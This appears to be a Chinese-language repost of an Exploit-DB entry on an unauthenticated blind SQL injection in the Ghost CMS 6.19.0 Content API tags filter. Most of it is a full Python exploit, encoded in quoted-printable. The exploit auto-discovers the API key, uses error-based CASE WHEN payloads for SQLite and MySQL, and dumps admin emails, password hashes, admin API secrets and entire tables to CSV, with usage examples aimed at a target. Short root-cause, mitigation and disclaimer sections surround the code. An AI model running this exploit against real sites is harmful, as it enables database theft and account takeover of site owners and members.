[webapps] Ghost CMS 6.19.0 - SQLi

📋 漏洞基础信息

🔬 漏洞根因

Ghost CMS的Content API中tags端点filter参数未正确过滤用户输入。攻击者通过构造特殊的slug过滤条件，在CASE WHEN语句中注入恶意SQL条件，结合数据库错误函数（如SQLite的abs(-9223372036854775808)或MySQL的exp(710)）触发错误，通过观察服务端返回的"InternalServerError"或"badrequesterror"响应来盲注判断条件真假，从而实现逐字符数据提取。

🎯 攻击场景

1. 访问目标Ghost博客首页，自动或手动获取Content API的public API key和API端点路径。 2. 请求Content API的tags端点获取第一个标签的slug和id，用于构造filter参数。 3. 基于filter参数注入SQL CASE WHEN语句，利用数据库错误函数构造布尔条件：如 `OR (SELECT abs(-9223372036854775808)) WHEN slug='`。 4. 通过二分查找逐字符探测SQL查询结果（如users.email、users.password）的长度和内容，使用多线程加速。 5. 成功提取admin邮箱、密码hash等敏感数据，并可选择dump整张表（如users、api_keys）输出为CSV。

💥 漏洞影响

未经认证的远程攻击者可利用该漏洞完全读取Ghost CMS后端数据库内容，包括但不限于用户邮箱、密码哈希（bcrypt或pbkdf2）、API密钥、会员信息、会话令牌等敏感数据，可能导致账户接管、数据泄露及业务逻辑绕过。

⚔️ 原始 PoC

1. 使用正则从主页HTML中提取`data-key`（API Key）和`data-api`（API端点路径），若手动提供则跳过。 2. 请求tags端点获取第一个标签slug和id，构造过滤URL模板：`{endpoint}tags/?key={api_key}&filter=slug:['*',{tag_slug}]&limit=all`，其中`*`将被注入payload替换。 3. `check()`方法根据dbms选择错误payload（SQLite: `abs(-9223372036854775808)`，MySQL: `exp(710)`），构造形如`' OR (CONDITION) THEN (ERROR_FUNC) WHEN slug='`的注入字符串替换`*`位置。 4. 若条件为真且触发了错误，服务端返回`InternalServerError`或`badrequesterror`；否则返回正常数据。 5. `get_len()`通过逐位二进制加法确定查询结果长度；`get_char()`在指定位置使用二分查找结合GLOB或ASCII比对逐字符猜解字符集。 6. `extract()`结合多线程并行猜解所有字符并拼接结果，最终打印表格或导出CSV。

# Exploit Author: Maksim Rogov
# Exploit Licence: GPL-3.0

#!/usr/bin/env python3

import requests
import re
import sys
import argparse
import textwrap
import csv
from typing import Optional
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urljoin,
urlparse

CHARSET =3D "".join(sorted(set("$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_ab=
cdefghijklmnopqrstuvwxyz@!#%^&*()+-=3D")))
ERROR_INDICATOR =3D "InternalServerError"=20
DEFAULT_THREADS =3D 15

def to_char_hex(s: str):
    return "||".join([f"char({ord(c)})" for c in s])

class GhostExploit:
    def __init__(self,target_url: str,threads: int =3D DEFAULT_THREADS,d=
bms: str =3D "sqlite",
output: str =3D None,user_cols: str =3D None,verif=
y: bool =3D True,manual_key: str =3D None,
manual_path: str =3D None):
        self.target =3D target_url.rstrip('/')
        self.threads =3D threads
        self.dbms =3D dbms.lower()
        self.output =3D output
        self.user_cols =3D [c.strip() for c in user_cols.split(',')] if use=
r_cols else None
        self.session =3D requests.Session()
        self.session.verify =3D verify
        self.manual_key =3D manual_key
        self.manual_path =3D manual_path
        if not verify:
            import urllib3
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarn=
ing)
        self.api_key,
self.endpoint,self.tag_slug,self.tag_id,self.url_t=
emplate =3D "","","","",""

    def discover(self) ->bool:
        try:
            if self.manual_key and self.manual_path:
                self.api_key =3D self.manual_key
                self.endpoint =3D urljoin(self.target,
self.manual_path)
                if not self.endpoint.endswith('/'): self.endpoint +=3D '/'
            else:
                r =3D self.session.get(self.target,timeout=3D10)
                self.api_key =3D re.search(r'data-key=3D"([a-f0-9]+)"',r.t=
ext).group(1)
                api_raw =3D re.search(r'data-api=3D"([^"]+)"',
r.text).grou=
p(1)
                path =3D urlparse(api_raw).path
                self.endpoint =3D urljoin(self.target,path)
                if not self.endpoint.endswith('/'): self.endpoint +=3D '/'

            r_tags =3D self.session.get(f"{self.endpoint}tags/?key=3D{self.=
api_key}",timeout=3D10).json()
            tag =3D r_tags['tags'][0]
            self.tag_slug,
self.tag_id =3D tag['slug'],tag['id']
            self.url_template =3D f"{self.endpoint}tags/?key=3D{self.api_ke=
y}&filter=3Dslug:['*',{self.tag_slug}]&limit=3Dall"
            return True
        except:=20
            return False

    def check(self,cond: str) ->
bool:
        if self.dbms =3D=3D "mysql":
            err_payload =3D "(SELECT exp(710))"
        else:
            err_payload =3D "(SELECT abs(-9223372036854775808))"

        payload =3D f" OR ({cond}) THEN {err_payload}WHEN slug=3D"
        try:
            r =3D self.session.get(self.url_template.replace("*",payload,=
1),
timeout=3D7)
            return "badrequesterror" in r.text.lower() or ERROR_INDICATOR.l=
ower() in r.text.lower()
        except: return False

    def get_len(self,query: str) ->int:
        length =3D 0
        for bit in [64,32,16,8,4,2,1]:
            if self.check(f"LENGTH(({query}))>=3D{length + bit}"): length +=
=3D bit
        return length

    def get_char(self,query: str,
pos: int) ->str:
        low,high =3D 0,len(CHARSET) - 1
        while low <high:
            mid =3D (low + high) // 2
            char_code =3D ord(CHARSET[mid + 1])
           =20
            if self.dbms =3D=3D "mysql":
                cond =3D f"ASCII(SUBSTR(({query}) FROM {pos}
FOR 1))>=3D{ch=
ar_code}"
            else:
                prefix =3D "||".join(["char(63)"] * (pos - 1))
                c_range =3D f"char(91)||char({char_code})||char(45)||char({=
ord(CHARSET[-1])})||char(93)"
                cond =3D f"({query}) GLOB {prefix}||{c_range}||char(42)" if=
 prefix else f"({query}) GLOB {c_range}||char(42)"

            if self.check(cond): low =3D mid + 1
            else: high =3D mid
        return CHARSET[low]

    def extract(self,
query: str,label: str,force_len: int =3D None) ->s=
tr:
        length =3D force_len if force_len is not None else self.get_len(que=
ry)
        if length <=3D 0: return ""
       =20
        chars =3D [""] * length
        with ThreadPoolExecutor(max_workers=3Dself.threads) as ex:
            futures =3D {ex.submit(self.get_char,query,i+1): i for i in r=
ange(length)}
for f in futures:
                chars[futures[f]] =3D f.result()
                sys.stdout.write(f"\r  {label}({length}chars): {''.join(c=
 if c else '.' for c in chars)}")
                sys.stdout.flush()
        res =3D "".join(chars)
        sys.stdout.write(f"\r  {label}({length}chars): {res}\n")
        return res

    def print_table(self,columns,
rows):
        if not rows: return
        widths =3D {col: len(col) for col in columns}for row in rows:
            for col in columns:
                widths[col] =3D max(widths[col],len(str(row.get(col,"")))=
)

        sep =3D "+" + "+".join(["-" * (widths[col] + 2) for col in columns]=
) + "+"
        head =3D "|" + "|".join([f" {col.ljust(widths[col])}
" for col in c=
olumns]) + "|"
       =20
        print("\n" + sep)
        print(head)
        print(sep)
        for row in rows:
            line =3D "|" + "|".join([f" {str(row.get(col,'')).ljust(widths=
[col])}" for col in columns]) + "|"
            print(line)
        print(sep + "\n")

    def dump_table(self,
table_name: str):
        print(f"\n[*] Dumping table: {table_name}")
        cast_type =3D "CHAR" if self.dbms =3D=3D "mysql" else "TEXT"
       =20
        count_str =3D self.extract(f"SELECT CAST(COUNT(*) AS {cast_type}) F=
ROM {table_name}",
"Total records")
        count =3D int(count_str) if count_str.isdigit() else 0
        if count =3D=3D 0:=20
            print("[!] No records found or table doesn't exist.")
            return

        if self.user_cols:
            columns =3D self.user_cols
            print(f"[*] Using user-defined columns: {',
'.join(columns)}")
        elif self.dbms =3D=3D "sqlite":
            t_name_char =3D to_char_hex(table_name)
            schema_query =3D f"SELECT sql FROM sqlite_master WHERE name=3D{=
t_name_char}"
            cols_raw =3D self.extract(schema_query,"Schema")
            columns =3D re.findall(r'([a-zA-Z_]+)\s+(?:TEXT|VARCHAR|INT|DAT=
ETIME|TIMESTAMP|BOOLEAN)',cols_raw,
re.I)
        else:
            columns =3D ['id','email','name','password','status']

        if not columns: columns =3D ['id','email']
       =20
        all_rows =3D []
        for i in range(count):
            print(f"\n  --- Record #{i+1}---")
            current_row =3D {}for col in columns:
                val =3D self.extract(f"SELECT {col}FROM {table_name}LIMIT=
 1 OFFSET {i}",
col)
                current_row[col] =3D val
            all_rows.append(current_row)
       =20
        self.print_table(columns,all_rows)

        if self.output:
            try:
                with open(self.output,'w',newline=3D'',encoding=3D'utf-8=
') as f:
                    writer =3D csv.DictWriter(f,
fieldnames=3Dcolumns)
                    writer.writeheader()
                    writer.writerows(all_rows)
                print(f"[+] Exported to {self.output}")
            except Exception as e:
                print(f"[!] Export error: {e}")

    def run(self,
table_to_dump: Optional[str] =3D None):
        if not self.discover():
            print("[!] Discovery failed.")
            return
       =20
        print("=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D")
        print(f"Ghost CMS - Unauthenticated SQLi Data Extraction")
        print(f"Target:   {self.target}")
        print(f"API Key:  {self.api_key}")
        print(f"Tag ID:   {self.tag_id}")
        print("Endpoint: Content API (public,
no auth)")
        print("=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D")

        print("\n[*] Calibrating oracle... OK")
        if not self.check("1=3D1"):=20
            print("[!] Oracle calibration failed.")
            return

        if table_to_dump:
            self.dump_table(table_to_dump)
        else:
            print("\n[*] Phase 1: Recon (fast checks)")
            l_email =3D self.get_len("SELECT email FROM users LIMIT 1")
            print(f"  length(users.email) =3D {l_email}")
            l_pass =3D self.get_len("SELECT password FROM users LIMIT 1")
            print(f"  length(users.password) =3D {l_pass}")
            l_name =3D self.get_len("SELECT name FROM users LIMIT 1")
            print(f"  length(users.name) =3D {l_name}")
            l_status =3D self.get_len("SELECT status FROM users LIMIT 1")
            print(f"  length(users.status) =3D {l_status}")

            for t in ["users",
"members","api_keys","sessions"]:
                cast_t =3D "CHAR" if self.dbms =3D=3D "mysql" else "TEXT"
                self.extract(f"SELECT CAST(COUNT(*) AS {cast_t}) FROM {t}",=
 f"count({t})")

            print("\n[*] Phase 2: Extracting values")
            self.extract("SELECT email FROM users LIMIT 1","Admin email",=
l_email)
            self.extract("SELECT name FROM users LIMIT 1",
"Admin name",l_=
name)
           =20
            adm_type =3D to_char_hex("admin")
            self.extract(f"SELECT id FROM api_keys WHERE type=3D{adm_type}=
LIMIT 1","Admin API key ID")
            self.extract(f"SELECT secret FROM api_keys WHERE type=3D{adm_ty=
pe}LIMIT 1","Admin API secret")
            self.extract("SELECT password FROM users LIMIT 1","Password ha=
sh",
l_pass)

if __name__ =3D=3D "__main__":
    parser =3D argparse.ArgumentParser(
        formatter_class=3Dargparse.RawDescriptionHelpFormatter,=20
        epilog=3Dtextwrap.dedent("""
            Usage Examples:
            python3 main.py -u http://target.com
            (Quickly extract Admin email and Password Hash from a default S=
QLite setup)

            python3 main.py -u http://target.com -d mysql -T users -C email=
,password -o ./result.csv
            (Dump of 'email' and 'password' columns from the 'users' table)

            python3 main.py -u http://target.com -d mysql -T api_keys -t 25
            (Dump all site api keys from 'api_keys' table using 25 threads)

            Note: Most production Ghost instances use MySQL. Local/Small bl=
ogs use SQLite.
        """)
    )
    parser.add_argument("-u",
"--url",required=3DTrue,metavar=3D"URL",he=
lp=3D"The base URL of the target Ghost")
    parser.add_argument("--api-key",metavar=3D"KEY",help=3D"Ghost Content=
 API Key (skips auto-discovery)")
    parser.add_argument("-p","--api-path",metavar=3D"PATH",help=3D"Conte=
nt API path (e.g.,/ghost/api/content/)")
    parser.add_argument("-k","--insecure",action=3D"store_true",
help=3D"=
Allow insecure server connections when using SSL (ignore SSL certificate er=
rors)")
    parser.add_argument("-t","--threads",type=3Dint,default=3DDEFAULT_TH=
READS,metavar=3D"N",help=3Df"Number of concurrent threads for faster extr=
action (default: {DEFAULT_THREADS})")
    parser.add_argument("-d","--dbms",default=3D"sqlite",choices=3D["sql=
ite","mysql"],
help=3D"The database engine Ghost is running on. Default: s=
qlite")
    parser.add_argument("-T","--table",metavar=3D"NAME",help=3D"Specific=
 database table to dump (e.g.,users,api_keys,members,posts)")
    parser.add_argument("-C","--columns",metavar=3D"COL1,COL2",help=3D"S=
pecific columns to extract (comma separated)")
    parser.add_argument("-o","--output",metavar=3D"FILE",
help=3D"Save re=
sults to CSV file")
    args =3D parser.parse_args()
   =20
    try:
        exploit =3D GhostExploit(args.url,args.threads,args.dbms,args.ou=
tput,args.columns,not args.insecure,args.api_key,args.api_path)
        exploit.run(args.table)
    except KeyboardInterrupt:
        print("\n[!] Aborted")

🔬 深度技术分析

1. 使用正则从主页HTML中提取`data-key`（API Key）和`data-api`（API端点路径），若手动提供则跳过。 2. 请求tags端点获取第一个标签slug和id，构造过滤URL模板：`{endpoint}tags/?key={api_key}&filter=slug:['*',{tag_slug}]&limit=all`，其中`*`将被注入payload替换。 3. `check()`方法根据dbms选择错误payload（SQLite: `abs(-9223372036854775808)`，MySQL: `exp(710)`），构造形如`' OR (CONDITION) THEN (ERROR_FUNC) WHEN slug='`的注入字符串替换`*`位置。 4. 若条件为真且触发了错误，服务端返回`InternalServerError`或`badrequesterror`；否则返回正常数据。 5. `get_len()`通过逐位二进制加法确定查询结果长度；`get_char()`在指定位置使用二分查找结合GLOB或ASCII比对逐字符猜解字符集。 6. `extract()`结合多线程并行猜解所有字符并拼接结果，最终打印表格或导出CSV。

🛡️ 修复建议

官方建议升级至Ghost CMS 6.19.1或更高版本；临时缓解措施包括：在Web应用防火墙（WAF）中添加规则拦截filter参数中的CASE WHEN、SELECT、abs(-9223372036854775808)、exp(710)等关键字；限制Content API的公开访问（如IP白名单）；对public API的filter参数实施严格白名单校验。

📎 参考链接

• https://nvd.nist.gov/vuln/detail/CVE-2026-26980
• https://ghost.org/
• https://www.exploit-db.com/
• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-09 17:10 | 来源: Exploit-DB